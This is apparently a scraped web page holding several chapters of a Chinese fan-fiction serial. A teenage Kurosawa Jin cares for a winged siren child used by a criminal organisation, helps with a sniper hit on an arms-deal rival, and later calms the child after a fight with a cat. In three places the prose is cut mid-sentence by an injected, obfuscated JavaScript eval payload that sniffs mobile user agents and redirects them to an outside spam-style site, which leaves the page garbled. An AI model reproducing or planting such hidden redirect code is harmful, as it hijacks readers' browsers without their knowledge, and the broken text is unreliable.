飞鸟彻羽“哦”了一声,想起来什么似的:“我也喜欢吃蛋糕。” “……你什么时候过生日?” 不知道。 组织里当然没人搞这种东西,但是在家里的时候好像也没有过过。 在Marino,“诞生”从来不是一件值得庆祝的事情。 飞鸟彻羽记忆中很少见到自己的父母,有钱就是有这种好处,不用自己亲自带小孩。而且从现实的情况来讲,那么多孩子,他们也不可能一个个都分配精力,那岂不得累死。 在少数几次的记忆里面,“父亲”是一个十足的癫狂的艺术疯子,他疯狂地迷恋自己的“缪斯”,创造出一个个大差不差的孩子,妄图这里面的某一个讨得“母亲”的欢心。 而“母亲”是被剥夺自由后歇斯底里的困兽,对“父亲”这种自欺欺人的过家家恨之入骨,无差别地对着所有见到的活物倾泻怒火,尤其是顶着她的脸的怪物。 剩下在这两座大山夹缝中生存的孩子,就像是被关进蛊罐中的蛊虫,为了争夺那一点点勉强苟活的养分,杀死别人,或者被别人杀死,优秀的活下来,直到被“父亲”新画出来的,更优秀的“弟弟妹妹”淘汰。 周而复始,直到养出最毒的蛊王。 “……不知道,下雪的时候吧?” 黑泽阵随便应了一声,表示自己知道了:“抽空给你过。” 没时间就算了。 “阵阵……?” “又干什么?” “要是他们来抓我们回去怎么办呢?” 黑泽阵有点烦了,虽然他真的是很有耐心的性格,但是被频频打断睡眠还是有点不爽:“在那之前我先掐死你行了吧?赶快睡觉。” 于是飞鸟彻羽满意了,乖乖闭上眼睛,给嘴巴拉上拉链,不一会就陷入了梦乡。 迷蒙中,感觉被谁掖好了被角。 * 塞壬一旦开始换牙,褪羽和换鳞也是同步进行的。 牙齿不用说,鳞片也还好,很显眼的半透明珠光色,没有尖锐的棱角质地也软,一片差不多有矿泉水瓶盖那么大,掉在哪里捡起来就行。 但是羽毛就没有办法了。 每天早上床上,不,在任何时间任何地点,只要飞鸟彻羽停留过,就会随机刷新数量不等的绒羽,被没有名字的猫扑来扑去。 比打游戏的时候刷野怪的爆率高多了。 捡回来的猫到现在都没有起名字,吃饱喝足的情况下长得飞快,大多数时候缩在各种家具的缝隙里面,没有人理它自己也不叫,只是对塞壬的意见很大。当着黑泽阵的面夹起嗓子卖乖讨巧,背着他就在看不见的角落对着飞鸟彻羽龇牙咧嘴。 猫咪就是这样的,不是所有的猫都长的好看还会讨主人欢心,事实上更多时候它们更想怎么骑在领地里所有生物的头上。 当然,飞鸟彻羽也对它没有好脸色就是了。 黑泽阵懒得管他俩这点暗流涌动的破事,反而对家里怎么也扫不完的羽毛烦不胜烦,镇压飞鸟彻羽的小声抗议之后,一起打包带出去烧了。 ——他本来是这么认为的。 直到在另一间卧室衣柜的抽屉里面发现了足足有半抽屉的羽毛,用摆好的鳞片压住,显然是被某个阳奉阴违的小混蛋偷偷攒起来的。 恶心死了,这和掉了头发之后收集自己的头发有什么区别? 飞鸟彻羽见事情败露,当机立断就要逃跑……被黑泽阵两步赶上,提起来摁在腿上一通打,把原本半掉不掉的鳞片和羽毛也一起抖掉了。 不过好在是允许飞鸟彻羽自己攒了,前提是他要自己收拾。 金酒到的时候,已经攒了满满一抽屉,黑泽阵不知道从哪里弄来一个枕套,把羽毛全都洗净烘干之后塞进去,丢给飞鸟彻羽晚上睡,也当是有个去处。 “你还会缝针啊?” 这有什么难的? 少年收完最后的针脚,用牙齿咬断线头,把枕头丢在飞鸟彻羽身上,看着他用手臂和翅膀一起拢在怀里,在沙发上滚来滚去。 傻鸟。 飞鸟彻羽对金酒这个“第二入侵者”表现得非常“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14152051|141171||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 友好热情”,甚至到中午在一个餐桌上面吃饭的时候,都愿意将自己的食物分给他一点。 “叔叔?”在金酒的视线里,香槟捧着他自己心心念念地蛋挞,一副忍痛割爱的样子,“你吃蛋挞嘛?” “不用,你吃吧。” 他还不至于到和小孩抢东西吃的地步。 “谢谢叔叔!”飞鸟彻羽伸手毫不客气地把阿阵一天只允许他吃一个的,今天给金酒多做了一个的蛋挞拿到自己面前。 简直把“喜形于色”表现得淋漓尽致,或者说就是专门给他看的。 金酒:……? “香槟,你喝胡萝卜汁吗?” 飞鸟彻羽从善如流,一点也不见外:“谢谢叔叔,叔叔你人真好。” 黑泽阵:……真没眼看。 别过脸去,干脆眼不见心不烦,顺手拍拍飞鸟彻羽的翅膀:“洗碗去。” 于是金酒就看见之前扣了朗姆眼珠子的魔头香槟,就这么被指使着,把碗筷运了两趟送进水池里面,踩着小板凳开始干活。 “……你倒是挺能拿的住祂——那天在水族馆里面的人,都意外死亡了。” 黑泽阵当然明白他的意思,准确地说是,那天意外见过香槟本相的,都被处理掉了。 就剩下在场的他们两个。 “还有之前M9实验室里面,有一组研究员也被……药物滥用了。” 当初那支药剂本不应该有差点要了香槟性命的浓度,只是其中有人不想让他活。 金酒没什么“不该在黑泽阵面前讲”的意识,根本不是什么秘密,单拎出来就是“意外致死”,只是当事人一眼可以看出有猫腻而已。 那位对组织的把控越来越弱了。 ……会是陷阱吗? 男人扬声对着正在厨房干活的某只讨嫌:“也帮我一起洗了呗——?” 香槟的针对真诚又坦荡,独独留下他自己的碗筷没收拾,估计是想要看他自己带走,现在又开始装聋作哑,假装自己没听见。 金酒把自己的碗筷端起来,一起丢进水槽里。 “叔叔……我告诉你一个秘密吧?” 飞鸟彻羽用手挡住自己的嘴巴,作势要靠近了给他讲一点不告诉黑泽阵的小秘密,等靠的足够近了,徒然伸手,准备将手上的水拍在他脸上。 被眼疾手快的男人一把截住了。 “怎么惹着你了?这么针对我?” 金酒向天发誓,他真的是从一开始就想要和香槟搞好关系的。 小孩白嫩的手腕被紧紧攥住,抽也抽不回来,很快就在男人的手劲下面攥起一圈红印子:“阵阵!他抓我!” 不是?纯栽赃啊? 他一时间竟然想不起来,自己这辈子有比这还要冤枉的时候……至少被这么明着搞黑状是没有的。 “黑泽,管管他。” “我不敢啊,”黑泽阵睁眼说瞎话,“你也知道他气性多么大的,万一让他不高兴了,心血来潮想要再生个40℃的小病怎么办?” 好好好,不敢管他,但是敢指使他刷碗。 金酒很快意识到,和香槟较劲没意思,因为他可以随时随地根据自己的需求来调整自己“究竟能不能听得懂人话”,软的不行,要是来硬的给搞生病了,他可担不起,只好和他商量: “你的黑泽借我用两天行不行?我要出一个小任务,需要他帮忙。” 60.囚鸟 这次的任务是关于组织在当地的一个军火供应商。 组织的主营业务以及招牌生意是药物研究,其他不论黑的白的多多少少也都沾点,军火供应少量来源于自产,剩下的大部分签订合同,依靠稳定的线路供给。 但在不久之前,先前一直保证稳定交易的对象在下次即将续约之际,态度摇摆不定,言语间的暗示是想要提高价格,并且减少供应量。 财务组的成员在上周被透露,他们同时正在接触另一个当地□□组织的二把手伊万,答案显而易见,是打算在两个组织之间待价而沽,甚至打算两家通吃。 组织不会允许合作伙伴这种没有契约精神的行径,但是为了保证武器的供给,在找到完全可替代的供应商之前,当然也没可能简简单单处理掉对方,让自己陷入“没枪可用”的尴尬境地,只好砍掉其他敢朝着别人碗里伸手的爪子,杀鸡儆猴。 “所以我需要负责哪一部分?” 情报人员摸清了他们下一次约见的时间和地点,就在明天晚上六点的私人餐厅,打算在双方谈判的时间进行狙击,最大的起到威慑的效果。 黑泽阵粗略地翻了一下行动计划和人员部署: 两名狙击手,两名监察员,三名潜入,四名后勤…… ——不论哪个环节都不缺人手,根本没有再劳金酒的大驾,专门跑一趟来接黑泽阵的必要性。 想不出来这种重要程度的任务,有他一个连代号都没有的外围什么事。 男人坐在驾驶座上,低头从烟盒里面抽出一根烟叼在嘴里,摸出打火机……在黑泽阵沉重的视线中默默放下。 “我觉得以香槟的身体状况,不合适吸三手烟,您觉得呢?” 这话说得有道理,即使是没道理,看在香槟被黑泽阵养的终于有点血色的脸上,也是有道理。 金酒悻悻地放下手,把打火机塞回到口袋里,嘴里叼着那支完好无损的香烟,干抽:“带过队吗?小子?” 用朗姆的眼珠子想都知道没带过。 “没关系,不影响——没吃过猪肉总见过猪跑,以后再有人问的时候就有经验了。” 男人很贴心地关上汽车前灯,升起防窥玻璃,调暗顶灯,爬到车后座扯出一条毯子给自己盖上,拍拍黑泽阵的肩膀,理直气壮、心安理得地撂了挑子: “明天下午四点半开始行动,到时候看你的表现。” 这种低调的小轿车对于一个手长腿长的成年男性来说,躺起来实在有些憋屈,但是从枪林弹雨里面摸爬滚打的男人显然什么环境都可以适应,把外套脱下来团成一团当枕头,甚至就地取材,扯过一只袖子当眼罩戴在头上。 末了,像是突然想到什么似的,又多嘴开口:“注意时间,你明天晚上,凌晨之前还要赶回去呢。” 不一会,轻浅的鼾声响起,估计是做了什么令人心旷神怡的好梦。 ——再怎么差都比要通宵工作的黑泽阵要好。 * “你的黑泽借我用两天行不行?我要出一个小任务,需要他帮一点忙。” 男人用拇指和小指捏出来一小节,示意是多么小的一点,蹲在飞鸟彻羽面前和他商量。 ——按照组织的制度规定,代号成员想要临时借调某个非成员时,需要取得本人同意的同时,如果对方有直系的代号成员管理,也需要代号成员的同意才可以。 不管“香槟”这个代号的来源再怎么滑稽,那也是代号成员。 金酒在等待回应的同时,也在不动声色地观察着香槟。 不知道为什么,被香槟看着的时候,有种难以言喻的毛骨悚然,即使是和面对其他手上沾满鲜血的杀人犯,都不会产生这种不寒而栗的忌惮。 右眼眼尾下那一粒殷红的泪痣盯久了,就像是恶鬼的第三只眼睛,涌上来的是写在基因里面,生物本能的恐惧。 飞鸟彻羽上上下下地打量了他一圈,不知道是想到了什么东西,扭头去看黑泽阵。 金酒的体型对于小孩子来说超大一只,像是山一样横档在飞鸟彻羽面前,于是小孩歪歪脑袋,探出半个头,用眼神询问他的意见。 黑泽阵轻轻点了点头。 这就是同意了。 飞鸟彻羽又把脸扭回来,和他确定清楚:“‘借两天’是借多久?今天和明天?” 看了看挂在客厅里面的挂钟。 19:47 金酒计算了一下,感觉也差不多,就替黑泽阵答应了任务完成的最后期限。 “差不多,估计最晚明天晚上十二点之前可以回来。” “很危险?” “不,事实上没什么危险……好吧也不是完全没有,但是我保证他的安全。” “那好吧,”于是男人就看见,自己面前这个人小鬼大的小家伙,转了转眼睛,最后拍板决定下来,“明天晚上十二点之前,‘黑泽阵’要全须全尾的回来。” 挂钟的时针指过十一点,飞鸟彻羽窝在沙发上,困倦地打了一个哈欠。 手里是黑泽阵前段时间买菜的时候顺手带回来的,精装版小说,俄文版。 飞鸟彻羽识字量不太多,需要一一对应着字典查,读的很慢,读了几天才看了三分之一,不过好在记忆力还算不错,查过了一次之后就不用再翻第二遍。 随手夹一片鳞在自己读到的地方,把字典和书一起丢在沙发上,塞壬舒展开太长时间保持一个姿势,现在有些酸痛的尾巴,变成双腿,趿着毛绒拖鞋,洗漱干净之后,独自缩在被子里。 ……阿阵今天晚上没回来。 所以很安静,只有自己的声音,还有某只只知道喘气,几乎见不到面的猫。 随便吧,谁关心那只丑猫在干什么。 飞鸟彻羽换了一个姿势,把翅膀和尾巴在床上全部舒展开,还是感觉很奇怪。 ……总觉得床上空落落的。 贫血导致的手脚冰凉,即使是睡在开着地暖的温室里,裹着厚厚的被子,也感觉怎么也暖不过来。 冷死了。 飞鸟彻羽又缩成一个小团,把尾巴圈起来,然后翅膀枕着一边盖着一边,就像是一只巨大的蚌, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14182650|141171||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然后拉上被子,把自己裹起来。 飞鸟彻羽在黑泽阵的管束下,作息很规律,现在应该是已经入睡两小时的点,被打乱了作息的身体已经很困了,连思考都时不时地被疲惫打断,就像是一台连接不好的收音机,只能断断续续地吐出几个意义不明的音节。 但偏偏越是困倦,就越是睡不着。 努力了半晌的飞鸟彻羽在黑暗中睁开眼睛,放弃了根本没用的努力。 “没有危险”是去干什么呢? 阿阵现在在干什么呢? ……说不定会很开心,不用和某个“白萝卜”、“老鼠大王”、“傻鸟”在一起,摆脱麻烦说不定会笑出声来。 嘁。 这种莫名其妙的问题现在俨然成了飞鸟彻羽脑海中的第一大麻烦,只有想出来个所以然来才能缓解现在自己抓耳挠腮的心情。 想了半天找不到结果的飞鸟彻羽从床上弹起来,裹进被子,蠕动到窗边,把窗户推开一小条缝。 冷风灌进来,让原本就暖和不起来的卧室更是雪上加霜。 飞鸟彻羽对着窗边“嘎嘎”地叫了两声,不一会拖把顶着自己显眼的白色脖颈,扑扇着翅膀降落到窗外的防盗窗上。 月光打在他的脸上,像是住在监狱里面的囚徒。 塞壬学各种语言可比学写字快多了,对着拖把一阵嘱咐,目送着对方离去的身影,连忙关上窗户。 ……感觉更冷了。 这个冷冰冰空荡荡的房间实在没有办法忍受,飞鸟彻羽做出了迁徙的决定。 一只手拖着自己的小熊,另一只手抱着自己的枕头,被子顶在头上,剩下的部分太长了就只好拖在地上,像是未开屏的孔雀尾巴,让任何一个家长看见了都要血压飙升。 但是阿阵现在不在。 飞鸟彻羽理直气壮地想着。 谁叫他不管着我呢? 所以怎么想都是金酒的错。 新的“栖息地”是在另一间卧室的衣柜里。 这里从主人第一天入住之后就没人睡过,整洁的像是停尸房。 飞鸟彻羽拉开自己藏羽毛的那只抽屉,之前积攒的羽毛已经大半填进了枕头,现在只有很可怜的一点点,压平了勉强可以铺满一层。 衣柜很大,原本是出于多放东西考虑的,现在蜷缩起来的时候,可以勉勉强强塞下塞壬长途跋涉带来的所有行李:一个枕头,一只小熊,还有一个七岁的小孩。 被子实在没有办法了,只能扯进来一个角盖在身上,剩下的大半被迫很可怜的躺在外面的地板上。 说实话也还不赖,身下是绵软的羽毛,再往下是铺的整整齐齐的鳞片,侧躺在里面,翅膀又当被单又当被子。 就是还是好冷,不过勉强凑合凑合也不是不可以睡。 ——总比那个冷清的大床要好。 实在是太困了,逃离了那个寒冷的地方,飞鸟彻羽终于熬不住,合上眼睛昏睡过去。 半梦半醒间,好像隐隐约约又忘了什么事。 ......忘了什么事呢? 61.囚鸟 临近约定的时间,一辆低调的黑色轿车在停车场缓缓停下,从中走下来三名身着正装,一脸严肃的黑衣人。 为首的男人正了正领带,看着手机里面刚刚发送过来的短信“21层041号”,率领着保镖拐进私人电梯,摁亮“21”的按键。 电梯缓缓上升,光洁的内壁映照出来出男人势在必得的脸:这次谈判他们准备了两倍的资金,誓要啃下这块难啃的骨头。 这家餐厅是双方都敲定好的地点,因为从21层到23层都是装修风格相同的包间,极其难以辨认,具体的见面地点要在真正约定的时间才双方确认,可以说是几乎没有被提前埋伏的可能。 很快,电梯在“目标楼层”缓缓停下,名叫伊万的男人在保镖的掩护下,径直走向约定好的41号房间。 从这里正好可以透过走廊的窗户,看见对面林立的大厦。 身边的保镖突然发现了些许异样。 之前来“21层”遥望对面大厦的时候,好像角度略有不同? “不好意思,麻烦借过一下。” 走廊的对面过来一名侍者,推着沉重的餐车缓慢向前,将调整站位的保镖略微冲散。 下一瞬间,一颗凌冽的子弹带着破风声,在周边所有人能反应过来之前,径直贯入了为首男人的太阳穴,留下了一个骇人的血窟窿。 与此同时的另一边,因为被调换了电梯的按键和对应层数,而在包间里面等候多时的供应商等来了自己姗姗来迟的合作伙伴。 “哎呀~让各位久等了,真是不好意思。” 笑容亲切的男人推开包间门,顶着一众黑洞洞的枪口面不改色,递出自己同伴刚刚发在手机上的死亡现场:“你们在等的人可能来不了了,考不考虑现在和之前的合作对象再续前缘呢?” * 整个谈判的过程(在被狙击枪指着,且做掉了竞争对手的情况下)进行的非常顺利。 金酒坐在汽车后座上,看着黑泽阵有条不紊的指挥着相关人员的撤离。 即使是经历了一系列严苛训练的金酒也不得不承认,黑泽阵简直就是天生少年犯圣体,被抓进监狱了狱警都会担心他会不会在里面组建势力策划越狱的类型。 ……有点想请他吃饭了。 据他所知,秉承着“人道主义”的少年监狱,伙食和环境都算得上是不错,至少比自己每□□不保夕,枪林弹雨要住的舒服。 确保所有人员都安全撤离之后,黑泽阵顶着自己熬通宵留下来的两个黑眼圈,默默摘下头戴式耳机,挂在脖子上,倚在副驾驶上闭目养神。原本就阴翳眼睛显得郁气更重了,浑身散发着一种被临时拖过来干活的,独属于卷王大冤种的怨气。 不一会,白颈鸦拖把拎着一个纸袋子,在车窗外安静地拍了拍翅膀,像是在无声诉说着自己半夜三更被叫起来跑腿,去看看黑泽阵的去向,回来之后被实在熬不住的飞鸟彻羽关在窗户外面,叫了半天只好折回去找黑泽阵的委屈。 鸦科动物的智商很高,经过训练之后可以做简单的加减法,以及辨别不同面值的纸币。 所有也可以帮忙跑腿,买一些不太重的小东西。 黑泽阵打开车窗,接过纸袋,扭开盖子,喝一口苦咖啡提神,森白雾气在寒冷的环境中迅速凝结,汇聚在他浓密纤长的眼睫毛上。 又摸出来一个新鲜出炉的牛角包准备垫垫肚……在金酒殷切的目光下默默递了过去。 全程划水(美其名曰时刻监察,准备场外援助)的男人一点也不见外,三两口把牛角包塞进了肚子,然后一点也不把自己当外人似的,整一个袋子都拿过来,发现是空的,又很失望地丢回去:“我以为你会顺便给我买一点的。” ……莫名其妙的出现,带着他做一个莫名其妙的任务,现在又在这里说一些莫名其妙的话。 最烦语焉不详的谜语人。 黑泽阵:……我要吐了。 少年的警惕心从来没有一刻停歇过,总感觉这个从第一次见面就一脸殷勤的男人有点……实在不怀好意:“你到底是来干嘛的?” 眼见着对方又要讲一些奇奇怪怪,似是而非的话糊弄过去,黑泽阵眼睛一眨不眨地紧紧盯着他,下三白配上深眼窝,时年只有十五岁的黑泽阵,已经隐隐约约有了日后Top killer的气势。 “行吧行吧,真是怕了你了,”金酒很是敷衍地举起双手做投降状,“我主要是来接香槟,带你出任务确实是顺便的。” 来接香槟还能去干什么? “……不是搬走之前刚抽过吗?” 从M9搬到M7,也不过是三个月的事,即使是正常捐献骨髓都要至少半年的恢复期,更何况香槟再之前还差点因为药物过量丢了命,面色惨白的像是白瓷一样。被黑泽阵每天耳提面命地盯着,才稍微有了几分血色,也好不容易长了一点肉,而不是之前一摸关节全是骨茬。 金酒不置可否,只是耸了耸肩:“你跟我讲这个也没用,我说了又不算。” 香槟理论上寿命无穷无尽当然等得起,但是那些个有钱有权偏偏还行将就木,迫不及待地想要享受青春的老家伙们可等不起啊。 真要等半年才能排上一个,那“香槟”存在就不是组织上上下下这么多腌臜龌龊的保护伞,而是催命符了。 所以一定要和香槟接上头,获得他的信任,并说服他愿意出面指认。 这可是组织“人体实验”的活得人证。 但是香槟真的能为组织的覆灭提供助力吗? 说实话赤井务武心里也在打鼓:在“银弹计划”成功的前提下,“香槟”完全可以和“长生不老,青春永驻”画上等号,站出来也许真的可以为组织定罪起到积极作用。 现在组织想要独占香槟带来的巨大利益,尽可能地模糊隐瞒他的存在,是威胁也是保护——至少为了可持续的,更高远的利益,组织会尽量避免剃肉拆骨,杀鸡取卵的情况发生。 但是一旦“香槟”这味药材被视线聚焦,等待他的是怎么样的命运不言而喻,那种只要跺跺脚,就能让世界抖三抖的巨头,为了“返老还童”能做出来什么几乎不敢想。 在银色子弹成功的那个瞬间开始,“香槟”就不再属于他自己,而是所有站在钱权顶端的公共血包。 香槟手上不干净,会不会到时候以“将功补过”的名义,“被同意”出卖自己的研究价值呢? 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14196342|141171||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >——他不会得到公正的判决的。 仅凭一个群龙无首,日渐衰弱的Marino,真的保不住他。 注定要送上断头台的证人。 ……先想办法取得香槟的信任吧。 黑泽阵知道他讲得对,但是又实在不想承认,悻悻地把头扭到一边,看着车窗外白茫茫的雪景。 啧。 男人从后座爬到驾驶座,点火启动车子。 窗外的雪景在飞速倒退,从倚在副驾驶上闭目养神的黑泽阵的眼球上划过,好像现在缠绕在身上的所有血债都可以被狂风吹散,血腥味的过去永远都不会追上来。 “就算我多嘴,小子——香槟不是你一个连代号都没有的外围该觊觎的东西。” 黑泽阵没有反应,一动不动,但是金酒知道他听见了。 古怪的沉寂在两人之间蔓延开来,不过他们本来也不是可以熟络到在闲暇时候闲聊的关系。 良久,直到金酒将车子停在黑泽阵购置的小公寓楼下,倒车熄火,一直沉默不语的少年才舍得打破宁静: “那什么样的人才有资格觊觎组织的香槟?” 迎着那双半大狼崽一样的眼睛,就像是被雪原上凛冽的寒风刺破喉咙,有那么一瞬间金酒几乎产生了错觉,错觉黑泽阵透亮的眼睛和敏锐的嗅觉戳破了披着狼皮下,猎犬的伪装。 “你这样的?” 童稚又清脆的声音在耳畔响起,香槟仰着头看他:“阿阵有喜欢的代号吗?这种事情最好还是要尽早考虑?” 其实黑泽阵一直感觉,GIN这个代号就很不错。 本身统领行动组是一方面,另一方面原因在于,黑泽阵的“阵”日语读音“Jin”和琴酒的英文“Gin”一致,连名字都不用改。 这是盯上我的代号了? 金酒一怔,随即爽朗地哈哈大笑起来。 这孩子……还真是危险的叫人头皮发麻——可真是太对他胃口了。 黑泽阵不用问也知道他在笑什么东西,懒得理他,跳下车头也不回地关上车门,把他甩在脑后,掏钥匙去开门。 他不担心自己出门飞鸟彻羽的安全,或者他会不会借机跑掉之类的,事实上在出门的时候黑泽阵早就特意踩过点,这些邻居里面究竟有没有“非组织成员”都够呛。 ——反正黑泽阵是没见过。 推开厚重的里门,房间里面一片漆黑,静悄悄的没有一点声音。 不应该,现在才晚上八点半,还远远没到飞鸟彻羽休息的时间——而且就算是到了,以黑泽阵对他的了解,提前知道自己要回来,他熬夜也会开着小夜灯等着的。 少年借着窗外路灯的微光,瞥见厨房和客厅,自己走的时候是什么样,现在分毫未变,完全没有人活动的痕迹,估计放在冰箱的饭菜也没有动过。 ……还有萦绕在鼻尖的,隐隐约约的血腥味。 黑泽阵有点不太妙的猜测。 “出什么事了?” 跟在后面的男人也放低声音,摸出别在腰间的手枪就要摸进里屋,被黑泽阵伸手拦下,用力扯了回来。 “我进去,你在这等着,一会出现什么声音都不要进来。” 62.囚鸟 黑泽阵放轻呼吸,蹑手蹑脚地摸黑找到飞鸟彻羽所在的卧室,透过隐隐约约的灯光,能看见他完全放出来的宽大羽翼,和一圈一圈盘在地板上的巨大尾巴。 即使是太黑的环境导致看不见他脸上的表情,黑泽阵也能感觉到,他正扭过脸来。直勾勾地盯着自己看。 像是察觉到又有新的闯入者,黑影将嘴里叼着的东西随便吐在一边,砸在地板上发出一阵闷响,氤氲开新鲜的血腥味。 黑团吃痛,发出一声嘶哑的吼叫,踉跄着缩进了角落里。 “你在干什么?” 没有回应。 ……应激了。 行吧,反正也不是第一次了,黑泽阵有经验。 少年一边和现在明显不在状态的飞鸟彻羽对峙,一边不动声色地慢慢拉近距离……然后一个飞扑,借着体重和力量的优势将飞鸟彻羽压制在身下。 避开他伸过来的手,把两只手腕一手攥住,死死摁在头顶上,双臂撑开架起翅膀,将他的躯干钉在地板上。 应激之后的塞壬现在六亲不认,没有一点理智可言,上身被摁住动弹不得,不妨碍尾巴折过去抽黑泽阵的背,后来就干脆是圈住少年劲瘦的腰,两个人顷刻就滚成一团,互相较劲。 塞壬的身体实在太长了,单凭一个正常人根本没办法制伏,黑泽阵一面用一双手肘架住那对直往脸上拍的翅膀,一面努力腾出一只手来,捂住他的下半张脸,连带着一直跃跃欲试想要伺机给他来上一口的一口尖牙。 退下乳牙换了恒牙之后的塞壬,被他咬上一口也不容小觑。 被大体制住了的塞壬还不老实,一边伸手努力想要掰开掐在自己脸颊的,铁钳一样的手,一边浑身每一个部位都卯足了力气挣扎,想要寻求一个破绽,把对方从自己身上掀下去,再给他细嫩的脖子上狠狠补上一口,好叫这个不自量力的人类好看。 黑泽阵哪能不知道他心里再打什么小九九?手指用力扣住他的整个下颌骨,换压为提,扯起飞鸟彻羽的整个上身,结结实实的给他来了一击头槌。 一声闷响之后,效果立竿见影,最直观的感受就是飞鸟彻羽缠在自己腰间拔萝卜的尾巴已经脱力,现在只好松松垮垮的勉强勾住才好不掉下去。 但是也不排除是塞壬在装晕迷惑对手的可能,黑泽阵半点不松懈,把他推出去又猛地拉回来,又补了一击,两声闷响下去,算是彻底把异常状态的塞壬给放倒了,软趴趴的瘫软在自己的胸前。 可算是老实了。 黑泽阵应对应激已经挺有经验了——本质上是短时间内感官过载导致的大脑宕机,一面将飞鸟彻羽摁在怀里遮住视线,一面捂住耳羽减少声音刺激,慢慢等他狂躁的心跳恢复平静。 飞鸟彻羽感觉自己现在脑子像是被毛玻璃糊住了,五感钝的可怕,勉勉强强通过心跳声辨认出来人的身份,小声确认道:“……阵阵?” “是。” 得到肯定答复的小孩终于松了一口气,伸出双臂环住他的脖子,努力安抚自己正在歇斯底里的理智。 在外面听着嘈杂平息下来,金酒也悄悄摸进来,打开一旁的小夜灯,放低声调:“怎么回事?” 隐隐约约又感受到有入侵者的飞鸟彻羽下意识地紧了紧缠在黑泽阵腰间的尾巴,往他怀里拱了拱。 “……应激了——应该是和猫打架的时候被吓到了。” 黑泽阵在小夜灯的灯光下,在飞鸟彻羽的侧脸上找到了三条并列的贯穿了小半张脸的伤口,出了点血但是不太深,现在已经结痂了,估计过不了一周就完全可以愈合。 比较严重的是咬在手掌掌根的牙印,出血之后又被抹开了,现在半干不干地糊在伤口的周边,不知道蹭在了什么地方。 其他部分,比如斑驳的翅膀、掉鳞的尾巴还有其他部位钝器撞击造成的淤青,一看就不是猫能留下的伤口。 黑泽阵环视四周,目光在衣柜、躺在地板上的被子、还有刚刚被塞壬吐在地上看起来伤势不算严重但是现在在墙角缩成一团的猫身上停留了片刻,很快就拼凑出来了事情大概的经过: 也许是因为熬夜加衣柜抽屉实在睡着太不舒服的缘故,飞鸟彻羽这一觉一直睡到第二天下午,也有可能干脆就过了晚饭的点。 被抓衣柜抽屉的声音弄醒的。 实在睡了太久之后的后果,就是脑子一片混沌,飞鸟彻羽迷蒙了好久才反应过来,应该是猫饿了在摆弄抽屉的声音。 又纠结了一下,在“委屈自己起来给它弄饭”和“委屈猫饿肚子等阿阵回来”中选择了后者。 在绝食这件事情上,飞鸟彻羽有丰富的实践经验,没关系,饿一天死不了的。 塞壬默默的将被子从抽屉中的缝隙中扯了扯,蒙上自己的头,拒绝为讨厌鬼浪费一丝一毫自己的精力和时间,企图靠装死逃避问题。 ……反正猫也不是我要养的,也没有人欠它的,给口吃的给个地方住仁至义尽了,想要在家里面当大王,骑在别人头上撒野——想都不要想。 没咬它两口就不错了。 饿了一天终于听到一点声响的猫不甘心就这样被无视,没被剪过指甲的爪子钩住跨过抽屉木板,努力从那个进被子兼透气的缝隙中钻了进去。 迷迷糊糊间还准备睡个回笼觉的飞鸟彻羽还没反应过来,脸上就被抓了一道血痕,被后知后觉地痛觉驱使着,下意识挣扎的后果就是身体撞在了衣柜的内壁上。 原本蜷缩着才勉强挤下的柜子现在又多了一只猫,顿时乱成一团,身上占大部分的伤势应该就是他自己弄的。 ……白痴吗。 黑泽阵是真没想到,一只几个月大的猫崽就把飞鸟彻羽搞得这么狼狈,本以为最差的结果就是他趁着自己不注意,把那只傻猫丢出去扔了。 感觉经过一小段时间冷静,怀里的塞壬状态已经好了很多,终于能安耐的住痉挛和下意识地挣扎,只是现在还有点呆,整个身体八爪鱼一样缠在他的身上,不肯下来。 少年拍拍他的背:“把尾巴收回去。” 飞鸟彻羽反应了半天,才慢吞吞地将尾巴缩回去,改成双腿,但还是抱着他,膏药一样贴在身上。 黑泽阵说了几次也不肯放手,不知道是直接没听懂还是听懂了就是不配合,最后只好干脆放弃——反正他之前应激的时候也是这个粘人样。 少年领着自己新鲜出炉的尾巴,拍开顶灯,惨白的灯光照亮了一片狼藉的卧室。 比他预想到的还要凌乱一点。 被子、枕头被甩了出去丢在地上,衣柜的抽屉明显是被大力撞开,里面还能隐隐约约看见被蹭上去的血迹。 最惨的“被害人”是那只毛绒小熊,从胸口到肚皮的绒布被尖锐物扯开,毫不见外地对着来来往往的行人“敞开心扉”,露出里面的白花花的棉花。 猫被刺眼的白光吓到,拖着自己完全炸起来的尾巴,逃窜到床下的缝隙里面。 飞鸟彻羽顶着自己乱成了鸟窝一样的头发,裸漏的手臂上是大片的淤青,甚至隐隐约约翅膀上也有不少,可以想象出来被睡衣包裹的部分肯定也好不到哪里去。 “……今天晚上要在这里吃晚饭吗?” 金酒才反应过来这是在跟自己讲话,连忙应了一声。 